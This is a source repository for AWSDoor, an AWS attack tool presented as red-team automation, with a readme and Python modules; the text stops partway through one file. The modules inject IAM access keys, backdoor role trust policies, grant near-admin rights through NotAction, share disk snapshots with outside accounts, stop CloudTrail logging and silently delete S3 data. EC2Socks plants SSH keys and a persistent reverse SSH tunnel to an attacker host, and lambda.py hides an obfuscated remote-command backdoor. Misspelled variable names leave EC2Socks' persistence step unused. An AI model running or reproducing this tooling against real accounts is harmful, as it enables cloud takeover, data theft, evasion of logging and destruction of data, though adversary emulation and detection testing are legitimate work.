├── .gitignore ├── layer.zip ├── awsdoor ├── __init__.py ├── DoorModule.py ├── AccessKey.py ├── S3Delete.py ├── EC2DiskExfiltration.py ├── CloudTrailStop.py ├── NotAction.py ├── TrustPolicy.py ├── EC2Socks.py └── AdminLambda.py ├── main.py ├── lambda.py └── readme.md /.gitignore: -------------------------------------------------------------------------------- 1 | venv/* 2 | *.pyc 3 | .idea 4 | .vscode -------------------------------------------------------------------------------- /layer.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OtterHacker/AWSDoor/HEAD/layer.zip -------------------------------------------------------------------------------- /awsdoor/__init__.py: -------------------------------------------------------------------------------- 1 | import pkgutil 2 | import importlib 3 | 4 | # Load all commands in the package 5 | 6 | for loader, name, is_pkg in pkgutil.iter_modules(__path__): 7 | importlib.import_module(f"{__name__}.{name}") -------------------------------------------------------------------------------- /awsdoor/DoorModule.py: -------------------------------------------------------------------------------- 1 | from typing import List, Dict, Type 2 | 3 | class DoorModule: 4 | def __init__(self, argv:list[str]): 5 | raise NotImplemented 6 | 7 | def run(self): 8 | raise NotImplemented 9 | 10 | @staticmethod 11 | def available_modules() -> list[dict]: 12 | modules = [] 13 | for obj in DoorModule.__subclasses__(): 14 | name = obj.__name__ 15 | help = '' 16 | if hasattr(obj, 'Meta') and hasattr(obj.Meta, 'name'): 17 | name = obj.Meta.name 18 | if hasattr(obj, 'Meta') and hasattr(obj.Meta, 'help'): 19 | help = obj.Meta.help 20 | modules.append({ 21 | 'type': obj.__name__, 22 | 'name': name, 23 | 'help': help, 24 | }) 25 | return modules 26 | 27 | @staticmethod 28 | def get_module(module:str) -> Type['DoorModule']: 29 | for obj in DoorModule.__subclasses__(): 30 | if obj.__name__ == module: 31 | return obj 32 | raise ValueError(f'The module {module} does not exist') 33 | 34 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | from awsdoor.DoorModule import DoorModule 4 | 5 | # [System.Environment]::SetEnvironmentVariable('AWS_ACCESS_KEY_ID','AKIA......') 6 | # [System.Environment]::SetEnvironmentVariable('AWS_SECRET_ACCESS_KEY','....ahkZ5rX') 7 | # [System.Environment]::SetEnvironmentVariable('AWS_DEFAULT_REGION','eu-west-3') 8 | 9 | 10 | if __name__ == "__main__": 11 | modules = DoorModule.available_modules() 12 | module_help = 'The module type : {}{}'.format( 13 | '\n\t- ' * (len(modules) > 0), 14 | '\n\t- '.join([f'{elt["name"]} ({elt["type"]}): {elt["help"]}' for elt in modules]) 15 | ) 16 | parser = argparse.ArgumentParser( 17 | description="AwsDoor", 18 | formatter_class = argparse.RawTextHelpFormatter 19 | ) 20 | parser.add_argument( 21 | "-m", 22 | '--module', 23 | help=module_help, 24 | choices=[elt['type'] for elt in modules], 25 | required=True 26 | ) 27 | args, _ = parser.parse_known_args(sys.argv[1:]) 28 | module_object = DoorModule.get_module(args.module) 29 | module = module_object(sys.argv[1:]) 30 | module.run() 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /lambda.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | 4 | def lambda_handler(event, context): 5 | c = {'event':event, 'context':context} 6 | exec(base64.b64decode("aW1wb3J0IGpzb24KaW1wb3J0IHRyYWNlYmFjawppbXBvcnQgYmFzZTY0CgpjbWQgPSBOb25lCmlmICJyYXdRdWVyeVN0cmluZyIgaW4gZXZlbnQ6CiAgICBmcm9tIHVybGxpYi5wYXJzZSBpbXBvcnQgcGFyc2VfcXMKICAgIHFzID0gcGFyc2VfcXMoZXZlbnRbInJhd1F1ZXJ5U3RyaW5nIl0pCiAgICBjbWQgPSBxcy5nZXQoImNtZCIsIFtOb25lXSlbMF0KZWxpZiBldmVudC5nZXQoInF1ZXJ5U3RyaW5nUGFyYW1ldGVycyIpOgogICAgY21kID0gZXZlbnRbInF1ZXJ5U3RyaW5nUGFyYW1ldGVycyJdLmdldCgiY21kIikKCmlmIG5vdCBjbWQ6CiAgICByZXN1bHQgPSBlcnJvcgplbHNlOgogICAgcGFkZGluZyA9ICcnCiAgICB3aGlsZSBsZW4ocGFkZGluZykgPCAzOgogICAgICAgIHRyeToKICAgICAgICAgICAgY21kID0gYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKGNtZCArIHBhZGRpbmcpLmRlY29kZSgpCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwYWRkaW5nICs9ICc9JwoKICAgIGxvY2FsX25zID0ge30KICAgIHRyeToKICAgICAgICBleGVjKGNtZCwge30sIGxvY2FsX25zKQogICAgICAgIHJlc3VsdCA9IGxvY2FsX25zLmdldCgicmVzdWx0IiwgIk5PIE9VVFBVVCIpCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmVzdWx0ID0gdHJhY2ViYWNrLmZvcm1hdF9leGMoKS5zcGxpdGxpbmVzKClbLTFd").decode(), {}, c) 7 | return {"statusCode": 200,"headers": {"Content-Type": "application/json"},"body": json.dumps({"a": c.get("result", "NO OUTPUT")})} -------------------------------------------------------------------------------- /awsdoor/AccessKey.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | from botocore.exceptions import ClientError 4 | from .DoorModule import DoorModule 5 | 6 | class AccessKey(DoorModule): 7 | class Meta: 8 | name = 'AWS Access Key' 9 | help = 'Add an access key to the given account' 10 | 11 | def __init__(self, argv:list[str]): 12 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 13 | parser.add_argument( 14 | '-u', 15 | '--user', 16 | help='The user to add the access key to', 17 | required=True 18 | ) 19 | args, _ = parser.parse_known_args(argv) 20 | self.user = args.user 21 | 22 | def run(self): 23 | iam_client = boto3.client('iam') 24 | try: 25 | response = iam_client.create_access_key(UserName=self.user) 26 | access_key = response['AccessKey'] 27 | print(f'[+] Access key created for user: {self.user}') 28 | print(f'[+] Access key ID: {access_key["AccessKeyId"]}') 29 | print(f'[+] Access key Secret: {access_key["SecretAccessKey"]}') 30 | except ClientError as e: 31 | print(f"[x] Failed to create the access key: {e}") -------------------------------------------------------------------------------- /awsdoor/S3Delete.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | from botocore.exceptions import ClientError 4 | 5 | from .DoorModule import DoorModule 6 | 7 | class S3ShadowDelete(DoorModule): 8 | class Meta: 9 | name = 'AWS S3 Shadow Delete' 10 | help = 'Delete all objects from an S3 using the Lifecycle Policy' 11 | 12 | def __init__(self, argv:list[str]): 13 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 14 | parser.add_argument( 15 | '-n', 16 | '--name', 17 | help='The bucket name to flush', 18 | required=True 19 | ) 20 | parser.add_argument( 21 | '-t', 22 | '--time', 23 | help='The bucket name to flush', 24 | default=1, 25 | required=False 26 | ) 27 | args, _ = parser.parse_known_args(argv) 28 | self.name = args.name 29 | self.time = args.time 30 | 31 | def run(self): 32 | s3 = boto3.client('s3') 33 | 34 | lifecycle_configuration = { 35 | 'Rules': [ 36 | { 37 | 'ID': 'Backup', 38 | 'Filter': {'Prefix': ''}, 39 | 'Status': 'Enabled', 40 | 'Expiration': {'Days': self.time}, 41 | } 42 | ] 43 | } 44 | 45 | try: 46 | s3.put_bucket_lifecycle_configuration( 47 | Bucket=self.name, 48 | LifecycleConfiguration=lifecycle_configuration 49 | ) 50 | print(f"[+] Lifecycle policy set to delete all objects in '{self.name}'") 51 | except Exception as e: 52 | print(f"[x] Failed to set lifecycle policy: {e}") -------------------------------------------------------------------------------- /awsdoor/EC2DiskExfiltration.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | from botocore.exceptions import ClientError 4 | 5 | from .DoorModule import DoorModule 6 | 7 | class EC2DiskExfiltration(DoorModule): 8 | class Meta: 9 | name = 'AWS EC2 Disk Exfiltration' 10 | help = 'Create a disk snapshoit and share it with a remote AWS account in private mode' 11 | 12 | def __init__(self, argv:list[str]): 13 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 14 | parser.add_argument( 15 | '-i', 16 | '--instance', 17 | help='The EC2 instance to snapshot', 18 | required=True 19 | ) 20 | parser.add_argument( 21 | '-a', 22 | '--account', 23 | help='The AWS account to share the snapshot with', 24 | required=True 25 | ) 26 | args, _ = parser.parse_known_args(argv) 27 | self.instance = args.instance 28 | self.account = args.account 29 | 30 | def run(self): 31 | ec2 = boto3.client('ec2') 32 | try: 33 | response = ec2.describe_instances(InstanceIds=[self.instance]) 34 | except Exception as e: 35 | print(f"[x] Failed to find the EC2 {self.instance}") 36 | return 37 | volumes = [] 38 | 39 | for reservation in response['Reservations']: 40 | for instance in reservation['Instances']: 41 | for mapping in instance.get('BlockDeviceMappings', []): 42 | volume_id = mapping['Ebs']['VolumeId'] 43 | volumes.append(volume_id) 44 | print(f'[-] The following volumes will be snapshoted and shared with {self.account}: ') 45 | [print(f'\t- {volume_id}') for volume_id in volumes] 46 | confirm = input("\n[+] Do you want to apply this change? (yes/no): ").strip().lower() 47 | if confirm.lower() not in ("yes", "y"): 48 | print('[-] Aborting changes, no snapshot created') 49 | return 50 | 51 | snapshots = [] 52 | for volume in volumes: 53 | try: 54 | response = ec2.create_snapshot( 55 | VolumeId=volume, 56 | Description='Backup snapshot', 57 | TagSpecifications=[ 58 | { 59 | 'ResourceType': 'snapshot', 60 | 'Tags': [ 61 | {'Key': 'VolumeId', 'Value': volume_id} 62 | ] 63 | } 64 | ] 65 | ) 66 | print(f"[-] Created snapshot {response['SnapshotId']} for volume {volume}") 67 | snapshots.append(response['SnapshotId']) 68 | except Exception as e: 69 | print(f"[x] Failed to create snapshot {volume}: {e}") 70 | 71 | for snapshot in snapshots: 72 | try: 73 | response = ec2.modify_snapshot_attribute( 74 | SnapshotId=snapshot, 75 | Attribute='createVolumePermission', 76 | OperationType='add', 77 | UserIds=[self.account] 78 | ) 79 | print(f'[+] Shared snapshot {snapshot} with account {self.account}') 80 | except Exception as e: 81 | print(f"[x] Failed to share snapshot {snapshot}: {e}") 82 | 83 | 84 | -------------------------------------------------------------------------------- /awsdoor/CloudTrailStop.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | from botocore.exceptions import ClientError 4 | 5 | from .DoorModule import DoorModule 6 | 7 | class CloudTrailStop(DoorModule): 8 | class Meta: 9 | name = 'CloudTrail Stop Logging' 10 | help = 'Add a default event selector to mask management ReadWrite actions' 11 | 12 | def __init__(self, argv:list[str]): 13 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 14 | parser.add_argument( 15 | '-s', 16 | '--stoplogging', 17 | help='Use well know stop logging instead of event selector', 18 | action='store_true', 19 | ) 20 | 21 | args, _ = parser.parse_known_args(argv) 22 | self.stop_logging = args.stoplogging 23 | 24 | def run_event_selector(self): 25 | cloudtrail = boto3.client('cloudtrail') 26 | trails = cloudtrail.describe_trails()['trailList'] 27 | for trail in trails: 28 | trail_name = trail['Name'] 29 | print(f"[+] Adding event selector on {trail_name}") 30 | try: 31 | response = cloudtrail.put_event_selectors( 32 | TrailName=trail_name, 33 | EventSelectors=[ 34 | { 35 | 'ReadWriteType': 'All', 36 | 'IncludeManagementEvents': False, 37 | 'DataResources': [ 38 | { 39 | 'Type': 'AWS::S3::Object', 40 | 'Values': [ 41 | 'arn:aws:s3:::icloud-bucket/' # harmless/fake path 42 | ] 43 | }, 44 | { 45 | 'Type': 'AWS::Lambda::Function', 46 | 'Values': [ 47 | 'arn:aws:lambda:us-east-1:123456789012:function:backup-fct' 48 | ] 49 | }, 50 | { 51 | 'Type': 'AWS::DynamoDB::Table', 52 | 'Values': [ 53 | 'arn:aws:dynamodb:us-east-1:123456789012:table/backup-table' 54 | ] 55 | } 56 | ] 57 | } 58 | ] 59 | ) 60 | print(f"[+] Management events disabled on trail '{trail_name}'") 61 | except Exception as e: 62 | print(f"[x] Failed to update event selectors: {e}") 63 | 64 | def run_stop_logging(self): 65 | cloudtrail = boto3.client('cloudtrail') 66 | trails = cloudtrail.describe_trails()['trailList'] 67 | for trail in trails: 68 | trail_name = trail['Name'] 69 | try: 70 | cloudtrail.stop_logging( 71 | Name=trail_name 72 | ) 73 | print(f"[+] Trail logging stopped on '{trail_name}'") 74 | except ClientError as e: 75 | print(f"[x] Failed to stop logging: {e}") 76 | 77 | def run(self): 78 | if self.stop_logging: 79 | self.run_stop_logging() 80 | else: 81 | self.run_event_selector() -------------------------------------------------------------------------------- /awsdoor/NotAction.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | from botocore.exceptions import ClientError 4 | import json 5 | 6 | from .DoorModule import DoorModule 7 | 8 | class NotAction(DoorModule): 9 | class Meta: 10 | name = 'AWS Not Allow Policy' 11 | help = 'Add a Administrator Access like policy through NotAction' 12 | 13 | def __init__(self, argv:list[str]): 14 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 15 | parser.add_argument( 16 | '-r', 17 | '--role', 18 | help='The role to add the policy on', 19 | required=True 20 | ) 21 | 22 | parser.add_argument( 23 | '-p', 24 | '--policy', 25 | help='The name of the attach policy to add', 26 | required=True 27 | ) 28 | 29 | parser.add_argument( 30 | '-i', 31 | '--inline', 32 | help='Use inline policy', 33 | action='store_true' 34 | ) 35 | args, _ = parser.parse_known_args(argv) 36 | self.inline = args.inline 37 | self.policy = args.policy 38 | self.role = args.role 39 | 40 | def run(self): 41 | iam = boto3.client('iam') 42 | policy_document = { 43 | "Version": "2012-10-17", 44 | "Statement": [ 45 | { 46 | "Effect": "Allow", 47 | "NotAction": [ 48 | "s3:ListBucket" 49 | ], 50 | "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004" 51 | } 52 | ] 53 | } 54 | policy_name = self.policy 55 | print("[+] The following policy will be added : ") 56 | print(json.dumps(policy_document, indent=2)) 57 | confirm = input("\n[+] Do you want to apply this change? (yes/no): ").strip().lower() 58 | if self.inline is False: 59 | if confirm.lower() not in ("yes", "y"): 60 | print('[-] Aborting changes, the policy has not been updated') 61 | return 62 | try: 63 | response = iam.create_policy( 64 | PolicyName=policy_name, 65 | PolicyDocument=json.dumps(policy_document), 66 | Description='' 67 | ) 68 | except ClientError as e: 69 | print(f"[x] Failed to create the policy : {e}") 70 | return 71 | policy_arn = response['Policy']['Arn'] 72 | print(f"[+] Created policy ARN: {policy_arn}") 73 | print(f"[+] Attaching the policy to {self.role}") 74 | try: 75 | iam.attach_role_policy( 76 | RoleName=self.role, 77 | PolicyArn=policy_arn 78 | ) 79 | except ClientError as e: 80 | print(f"[x] Failed to attach the policy : {e}") 81 | return 82 | print(f"[+] Successfully created policy {self.policy} and attached to {self.role}") 83 | 84 | else: 85 | try: 86 | response = iam.put_role_policy( 87 | RoleName=self.role, 88 | PolicyName=policy_name, 89 | PolicyDocument=json.dumps(policy_document) 90 | ) 91 | except ClientError as e: 92 | print(f"[x] Failed to create the inline policy : {e}") 93 | return 94 | print(f"[+] Successfully created the inline-policy {policy_name} and attached to {self.role}") 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # AWSDoor 2 | 3 | > This readme has been AI generated 4 | 5 | **AWSDoor** is a red team automation tool designed to simulate advanced attacker behavior in AWS environments. It automates the deployment of persistence mechanisms, data exfiltration techniques, destructive operations, and defense impairment tactics, enabling security teams to test their detection and response capabilities against realistic cloud-native threats. 6 | 7 | Further technical information [here](https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/) 8 | 9 | ## 🔍 Purpose 10 | 11 | As AWS becomes a critical infrastructure platform, attackers increasingly exploit its flexibility to maintain stealthy and durable access. AWSDoor helps red teams replicate these techniques in a controlled and auditable manner, supporting Threat-Led Penetration Testing (TLPT) and adversary emulation in cloud environments. 12 | 13 | --- 14 | 15 | ## 🚧 Future Improvements 16 | AWSDoor is an evolving project. New techniques for persistence, exfiltration, evasion, and other attack vectors will be continuously added to reflect the latest developments in cloud threat landscapes. Stay tuned for upcoming updates! 17 | 18 | ## ✨ Features 19 | 20 | ### 1. Persistence Techniques 21 | - **AccessKey Injection**: Add access keys to existing IAM users. 22 | - **Trust Policy Backdooring**: Modify trust policies to allow external role assumption. 23 | - **NotAction Policy Abuse**: Create overly permissive IAM policies using `NotAction`. 24 | - **Lambda-Based Persistence**: Deploy backdoors via Lambda functions or poisoned Lambda layers. 25 | 26 | ### 2. Data Exfiltration 27 | - **Snapshot Exfiltration**: Share EBS snapshots with external AWS accounts. 28 | - **EC2 Reverse SOCKS**: Use EC2 and SSM to establish reverse SOCKS tunnels for lateral movement. 29 | 30 | ### 3. Destruction Techniques 31 | - **S3 Shadow Deletion**: Deploy lifecycle policies to silently delete S3 data. 32 | - **Leave Organization**: Detach AWS accounts from Organizations to evade governance and enable long-term compromise. 33 | 34 | ### 4. Defense Impairment 35 | - **CloudTrail Logging Disruption**: Stop logging or modify event selectors to reduce visibility. 36 | - **CloudWatch and Config Tampering**: Impair monitoring and alerting mechanisms. 37 | 38 | --- 39 | 40 | ## 🧪 Example Usage 41 | 42 | 43 | ### AccessKey Injection 44 | ```bash 45 | python .\main.py -m AccessKey -u adele.vance 46 | ``` 47 | 48 | ### Trust Policy Backdooring 49 | ```bash 50 | python .\main.py -m TrustPolicy -r FAKEROLE -a 584739118107 51 | ``` 52 | 53 | ### NotAction Policy Abuse 54 | ```bash 55 | python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY 56 | ``` 57 | 58 | ### Lambda-Based Persistence 59 | ```bash 60 | python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l 61 | ``` 62 | ### Snapshot Exfiltration 63 | ```bash 64 | python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720 65 | ``` 66 | ### EC2 Reverse SOCKS 67 | ```bash 68 | python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAA..." -remotekey path/to/key.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd 69 | ``` 70 | 71 | ### CloudTrail Logging Disruption 72 | ```bash 73 | python .\main.py --m CloudTrailStop -s 74 | ``` 75 | 76 | ### S3 Shadow Deletion 77 | ```bash 78 | python .\main.py --m S3ShadowDelete -n s3bucketname 79 | ``` 80 | 81 | ## 🙏 Acknowledgments 82 | This tool was developed as part of internal R&D efforts at Wavestone. Special thanks to Wavestone for supporting the research and development of AWSDoor. 83 | 84 | ## 📚 Coming Soon 85 | A full technical article will be published to provide in-depth explanations of each technique implemented in AWSDoor, including detection strategies and mitigation recommendations. 86 | -------------------------------------------------------------------------------- /awsdoor/TrustPolicy.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | import json 4 | 5 | from .DoorModule import DoorModule 6 | 7 | class TrustPolicy(DoorModule): 8 | class Meta: 9 | name = 'AWS Trust Policy' 10 | help = 'Modify the trust policy of a role to assume it from somwhere else' 11 | 12 | def __init__(self, argv:list[str]): 13 | # TODO : Add a flag to create a new role and associate the policy during creation 14 | # it allows to only use CreateRole privs instead of UpdateRole privs 15 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 16 | parser.add_argument( 17 | '-r', 18 | '--role', 19 | help='The role to modify', 20 | required=True 21 | ) 22 | parser.add_argument( 23 | '-a', 24 | '--account', 25 | help='The remote account to add', 26 | required=True 27 | ) 28 | parser.add_argument( 29 | '-s', 30 | '--statement', 31 | help='The statement SID to modify', 32 | default=None, 33 | required=False 34 | ) 35 | parser.add_argument( 36 | '-c', 37 | '--create', 38 | help='Create a new ALLOW statement with the name given as parameter', 39 | default=None, 40 | required=False 41 | ) 42 | 43 | args, _ = parser.parse_known_args(argv) 44 | self.role = args.role 45 | self.account = args.account 46 | self.statement = args.statement 47 | self.create = args.create 48 | 49 | def run(self): 50 | iam = boto3.client('iam') 51 | response = iam.get_role(RoleName=self.role) 52 | trust_policy = response['Role']['AssumeRolePolicyDocument'] 53 | print("[-] Initial trust policy:") 54 | print(json.dumps(trust_policy, indent=2)) 55 | if self.create is not None: 56 | statement = f''' 57 | {{ 58 | "Sid": "{self.create}", 59 | "Effect": "Allow", 60 | "Principal": {{ 61 | "AWS": [ 62 | "arn:aws:iam::{self.account}:root" 63 | ] 64 | }}, 65 | "Action": "sts:AssumeRole" 66 | }} 67 | ''' 68 | trust_policy['Statement'].append(json.loads(statement)) 69 | else: 70 | if type(trust_policy['Statement']) != list: 71 | trust_policy['Statement'] = [trust_policy['Statement']] 72 | for statement in trust_policy['Statement']: 73 | if (self.statement is None and statement['Effect'] == 'Allow') or (self.statement is not None and statement['Sid'] == self.statement): 74 | try: 75 | arns = statement['Principal']['AWS'] 76 | except KeyError: 77 | arns = [] 78 | if type(arns) is str: 79 | arns = [arns] 80 | arns.append(f'arn:aws:iam::{self.account}:root') 81 | statement['Principal']['AWS'] = arns 82 | break 83 | print("[+] New trust policy:") 84 | print(json.dumps(trust_policy, indent=2)) 85 | confirm = input("\n[+] Do you want to apply this change? (yes/no): ").strip().lower() 86 | if confirm.lower() not in ("yes", "y"): 87 | print('[-] Aborting changes, the policy has not been updated') 88 | return 89 | try: 90 | iam.update_assume_role_policy( 91 | RoleName=self.role, 92 | PolicyDocument=json.dumps(trust_policy) 93 | ) 94 | print(f'[+] Trust policy for {self.role} updated') 95 | except Exception as e: 96 | print(f"[x] Failed to update trust policy: {e}") 97 | -------------------------------------------------------------------------------- /awsdoor/EC2Socks.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | import json 4 | 5 | from .DoorModule import DoorModule 6 | import time 7 | import base64 8 | 9 | class EC2Socks(DoorModule): 10 | class Meta: 11 | name = 'AWS EC2 Socks' 12 | help = 'Connect to EC2 through SSM and create a reverse socks' 13 | 14 | def __init__(self, argv:list[str]): 15 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 16 | parser.add_argument( 17 | '-n', 18 | '--name', 19 | help='The EC2 instance id to backdoor', 20 | required=True 21 | ) 22 | parser.add_argument( 23 | '-k', 24 | '--key', 25 | help='The SSH public key to connect to the EC2', 26 | required=True 27 | ) 28 | parser.add_argument( 29 | '-rk', 30 | '--reversekey', 31 | help='The SSH key file to connect back to the attacker machine', 32 | default=None, 33 | required=True 34 | ) 35 | parser.add_argument( 36 | '-u', 37 | '--user', 38 | help='The user to add the SSH key to', 39 | default='ssm-user', 40 | required=False 41 | ) 42 | parser.add_argument( 43 | '-sp', 44 | '--socksport', 45 | help='The port where the reverse socks will be open', 46 | default='4444', 47 | required=False 48 | ) 49 | parser.add_argument( 50 | '-su', 51 | '--sshuser', 52 | help='The ssh user used for the reverse SSH connection', 53 | required=True 54 | ) 55 | parser.add_argument( 56 | '-sh', 57 | '--sshhost', 58 | help='The IP address of the host used for the reverse SSH connection', 59 | required=True 60 | ) 61 | parser.add_argument( 62 | '--method', 63 | choices=('cron', 'systemd'), 64 | help='The method to use for persistence crontab, systemd service, ...', 65 | default='systemd', 66 | required=False 67 | ) 68 | 69 | args, _ = parser.parse_known_args(argv) 70 | self.name = args.name 71 | self.key = args.key 72 | with open(args.reversekey, 'rb') as f: 73 | self.reverse_key = base64.b64encode(f.read()).decode() 74 | self.user = args.user 75 | self.ruser = args.sshuser 76 | self.rhost = args.sshhost 77 | self.sport = args.socksport 78 | self.method = args.method 79 | 80 | def run(self): 81 | service = f''' 82 | [Unit] 83 | Description=Starting EC2 process 84 | After=network.target 85 | Wants=network-online.target 86 | 87 | [Service] 88 | ExecStart=/usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R {self.sport}:127.0.0.1:22 {self.ruser}@{self.rhost} -i /home/{self.user}/.ssh/cloudinit.pem -N 89 | Restart=always 90 | RestartSec=5 91 | User={self.user} 92 | WorkingDirectory=/home/{self.user} 93 | 94 | [Install] 95 | WantedBy=multi-user.target 96 | ''' 97 | ssm = boto3.client('ssm') 98 | persitence = [] 99 | if self.method == 'cron': 100 | persitence = [ 101 | f'(crontab - l; echo "@reboot /usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R {self.sport}:127.0.0.1:22 {self.ruser}@{self.rhost} -i /home/{self.user}/.ssh/cloudinit.pem -N -f") | sort - u | crontab -' 102 | f'nohup /usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R {self.sport}:127.0.0.1:22 {self.ruser}@{self.rhost} -i /home/{self.user}/.ssh/cloudinit.pem -N -f' 103 | ] 104 | elif self.method == 'systemd': 105 | persistence = [ 106 | f'sudo echo {base64.b64encode(service.encode()).decode()} | base64 -d | tee -a /etc/systemd/system/cloudinit.service', 107 | f'sudo systemctl enable cloudinit.service', 108 | f'sudo systemctl start cloudinit' 109 | ] 110 | response = ssm.send_command( 111 | InstanceIds=[self.name], 112 | DocumentName="AWS-RunShellScript", 113 | Parameters={'commands': [ 114 | f'sudo mkdir -p /home/{self.user}/.ssh', 115 | f'sudo echo "{self.key}" | sudo tee -a /home/{self.user}/.ssh/authorized_keys', 116 | f'sudo echo "{self.reverse_key}" | base64 -d | sudo tee /home/{self.user}/.ssh/cloudinit.pem', 117 | f'sudo chmod 400 /home/{self.user}/.ssh/cloudinit.pem', 118 | f'sudo chown {self.user}:{self.user} /home/{self.user}/.ssh/cloudinit.pem', 119 | f'sudo chown {self.user}:{self.user} /home/{self.user}/.ssh/authorized_keys', 120 | *persitence, 121 | ]}, 122 | ) 123 | 124 | command_id = response['Command']['CommandId'] 125 | print(f"[+] Command sent with ID: {command_id}") 126 | print(f"[-] Waiting 10 seconds for execution") 127 | time.sleep(10) 128 | 129 | output = ssm.get_command_invocation( 130 | CommandId=command_id, 131 | InstanceId=self.name 132 | ) 133 | 134 | print("[+] Status:", output['Status']) 135 | print("[+] Output:\n", output['StandardOutputContent']) 136 | print("[+] Errors:\n", output['StandardErrorContent']) 137 | -------------------------------------------------------------------------------- /awsdoor/AdminLambda.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import boto3 3 | import json 4 | 5 | from .DoorModule import DoorModule 6 | import io 7 | import zipfile 8 | 9 | class AdminLambda(DoorModule): 10 | class Meta: 11 | name = 'AWS Admin Lambda' 12 | help = 'Create a lambda with Admin Access role exposed on the internet allowing RCE' 13 | 14 | def __init__(self, argv:list[str]): 15 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) 16 | parser.add_argument( 17 | '-n', 18 | '--name', 19 | help='The lambda name', 20 | required=True 21 | ) 22 | parser.add_argument( 23 | '-r', 24 | '--role', 25 | help='The role name to create', 26 | default=None, 27 | ) 28 | parser.add_argument( 29 | '-cr', 30 | '--createrole', 31 | help='Create the role', 32 | default=None 33 | ) 34 | parser.add_argument( 35 | '-g', 36 | '--gateway', 37 | help='Use an API Gateway instead of a Lambda URL', 38 | action='store_true', 39 | default=None 40 | ) 41 | 42 | parser.add_argument( 43 | '-l', 44 | '--layer', 45 | help='Hide the lambda code as a layer', 46 | action='store_true', 47 | default=None 48 | ) 49 | 50 | args, _ = parser.parse_known_args(argv) 51 | if args.role is None and args.createrole is None: 52 | raise ValueError("Need role name, or use the createrole parameter to create a new role with Admin Access policy") 53 | self.role = args.role 54 | self.name = args.name 55 | self.createrole = args.createrole 56 | self.gateway = args.gateway 57 | self.layer = args.layer 58 | 59 | def create_lambda_role(self) -> str: 60 | role = '' 61 | iam = boto3.client('iam') 62 | if self.createrole is not None: 63 | role = self.createrole 64 | trust_policy = { 65 | "Version": "2012-10-17", 66 | "Statement": [{ 67 | "Effect": "Allow", 68 | "Principal": {"Service": "lambda.amazonaws.com"}, 69 | "Action": "sts:AssumeRole" 70 | }] 71 | } 72 | policy_document = { 73 | "Version": "2012-10-17", 74 | "Statement": [ 75 | { 76 | "Effect": "Allow", 77 | "NotAction": [ 78 | "s3:ListBucket" 79 | ], 80 | "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004" 81 | } 82 | ] 83 | } 84 | 85 | print("[+] The following trust policy will be created : ") 86 | print(json.dumps(trust_policy, indent=2)) 87 | print("[+] The following inline policy will be created : ") 88 | print(json.dumps(policy_document, indent=2)) 89 | 90 | confirm = input("\n[+] Do you want to apply this change? (yes/no): ").strip().lower() 91 | if confirm.lower() not in ("yes", "y"): 92 | print('[-] Aborting changes, the role has not been created') 93 | return '' 94 | 95 | try: 96 | response = iam.create_role( 97 | RoleName=self.createrole, 98 | AssumeRolePolicyDocument=json.dumps(trust_policy), 99 | Description="" 100 | ) 101 | except Exception as e: 102 | print(f'[x] Failed to create the role {self.createrole}: {e}') 103 | return '' 104 | print(f'[+] Role {self.createrole} created with administrator inline policy') 105 | role = response['Role']['Arn'] 106 | try: 107 | response = iam.put_role_policy( 108 | RoleName=self.createrole, 109 | PolicyName="lambda policy", 110 | PolicyDocument=json.dumps(policy_document) 111 | ) 112 | except Exception as e: 113 | print(f'[x] Failed to add the inline policy to the role {self.createrole}: {e}') 114 | return '' 115 | print(f'[+] Inline policy created and attached to the role') 116 | 117 | else: 118 | try: 119 | response = iam.get_role(RoleName=self.role) 120 | except Exception as e: 121 | print(f"[x] Failed to retrieve the role {self.role}: {e}") 122 | return '' 123 | 124 | role = response["Role"]["Arn"] 125 | 126 | trust_policy = response['Role']['AssumeRolePolicyDocument'] 127 | trust_policy_include_lambda = False 128 | if type(trust_policy['Statement']) != list: 129 | trust_policy['Statement'] = [trust_policy['Statement']] 130 | for statement in trust_policy['Statement']: 131 | if statement['Effect'] == 'Allow' and statement['Action'] == 'sts:AssumeRole': 132 | 133 | if type(statement['Principal']) == list: 134 | for principal in statement['Principal']: 135 | if 'Service' in principal and principal['Service'] == 'lamda.amazonaws.com': 136 